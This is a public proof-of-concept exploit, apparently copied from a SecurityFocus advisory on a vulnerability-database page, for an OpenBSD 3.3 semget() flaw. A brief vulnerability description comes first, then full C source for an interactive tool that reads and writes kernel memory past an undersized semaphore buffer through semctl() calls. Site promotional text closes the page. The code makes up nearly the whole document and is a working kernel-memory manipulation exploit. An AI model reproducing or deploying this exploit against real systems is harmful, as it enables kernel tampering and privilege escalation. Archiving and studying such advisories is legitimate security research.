// source: https://www.securityfocus.com/bid/8464/info
A vulnerability has been discovered in the OpenBSD semget() system call. The problem occurs due to insufficient sanity checks before allocating memory using the user-supplied nsems value as an argument. As a result, an attacker may be capable of modifying the running kernel.
This vulnerability was introduced in OpenBSD 3.3 and as such, no other versions are affected.
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/param.h>
#include <sys/sysctl.h>
int semid, idx, val;
int read_sem(struct sem *);
void do_read(char *);
void do_write(char *);
void dump_hex(void *, unsigned int);
void dump_sem(struct sem *);
int main(int argc, char *argv[]){
int quit;
char buf[80], prev;
if(argc < 2){
printf("%s <semid>\n", argv[0]);
return 1;
}
semid = atoi(argv[1]);
quit = 0;
while(!quit){
printf("\n> ");
fgets(buf, sizeof(buf), stdin);
switch(buf[0]){
case 'r':
case 'R':
prev = 'r';
do_read(buf);
break;
case 'w':
case 'W':
prev = 'w';
do_write(buf);
break;
case 'q':
case 'Q':
quit = 1;
break;
case 'h':
case 'H':
printf("Enter one of the following commands:\n");
printf("\tr - read a semaphore\n");
printf("\t\tsyntax r index[.level]\n");
printf("\t\te.g. r 1\n");
printf("\t\te.g. r 1.val\n");
printf("\tw - write a value\n");
printf("\t\tsyntax w index value\n");
printf("\t\te.g. w 1 7\n");
printf("\tq - quit\n");
break;
case '\r':
case '\n':
if(prev == 'r'){
sprintf(buf, "r %d\n", ++idx);
do_read(buf);
}
else if(prev == 'w'){
sprintf(buf, "w %d %d\n", ++idx, val);
do_write(buf);
}
break;
default:
break;
}
}
return 0;
}
/* Read the contents of a sem structure.
*
* idx = index into the array
* s = buffer to read sem structure into
*/
int read_sem(struct sem *s){
/*
* At this point we have forced the kernel to allocate a too-small
* buffer. We can read and write members of struct sem's beyond this
* this buffer using semctl(). A struct sem looks like this:
*
* struct sem {
* unsigned short semval;
* pid_t sempid;
* unsigned short semncnt;
* unsigned short semzcnt;
* };
*/
memset(s, 0, sizeof(struct sem));
s->semval = semctl(semid, idx, GETVAL, NULL);
if(errno != 0)
goto err;
s->sempid = semctl(semid, idx, GETPID, NULL);
if(errno != 0)
goto err;
s->semncnt = semctl(semid, idx, GETNCNT, NULL);
if(errno != 0)
goto err;
s->semzcnt = semctl(semid, idx, GETZCNT, NULL);
if(errno != 0)
goto err;
return 0;
err:
perror("read_sem: semctl");
return -1;
}
void dump_hex(void *buf, unsigned int size){
int i, *p;
p = buf;
printf("\n");
for(i = 0; (i * sizeof(int)) < size; i++)
printf("0x%.08x ", p[i]);
}
void dump_sem(struct sem *s){
printf("val = %d (%.04x)\n", s->semval, s->semval);
printf("pid = %d (%.08x)\n", s->sempid, s->sempid);
printf("ncnt = %d (%.04x)\n", s->semncnt, s->semncnt);
printf("zcnt = %d (%.04x)\n", s->semzcnt, s->semzcnt);
}
void do_write(char *buf){
char *p;
/* write something */
if((p = strchr(buf, ' ')) == NULL){
printf("w must take parameters\n");
return;
}
p++;
idx = atoi(p);
if((p = strchr(p, ' ')) == NULL){
printf("w needs a value to write\n");
return;
}
p++;
if(!strncmp(p, "0x", 2))
sscanf(p, "0x%x", &val);
else
val = atoi(p);
semctl(semid, idx, SETVAL, val);
}
void do_read(char *buf){
int ret;
char *p;
struct sem sem;
/* read something */
if((p = strchr(buf, ' ')) == NULL){
printf("r must take an index argument\n");
return;
}
p++;
idx = atoi(p);
ret = read_sem(&sem);
if(ret < 0)
return;
printf("Index %d:\n", idx);
if((p = strchr(p, '.')) == NULL){
dump_sem(&sem);
dump_hex(&sem, sizeof(sem));
}
else{
p++;
if(strstr(p, "val"))
printf("val = %d (%.04x)\n",
sem.semval, sem.semval);
if(strstr(p, "pid"))
printf("pid = %d (%.08x)\n",
sem.sempid, sem.sempid);
if(strstr(p, "ncnt"))
printf("ncnt = %d (%.04x)\n",
sem.semncnt, sem.semncnt);
if(strstr(p, "zcnt"))
printf("zcnt = %d (%.04x)\n",
sem.semzcnt, sem.semzcnt);
}
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation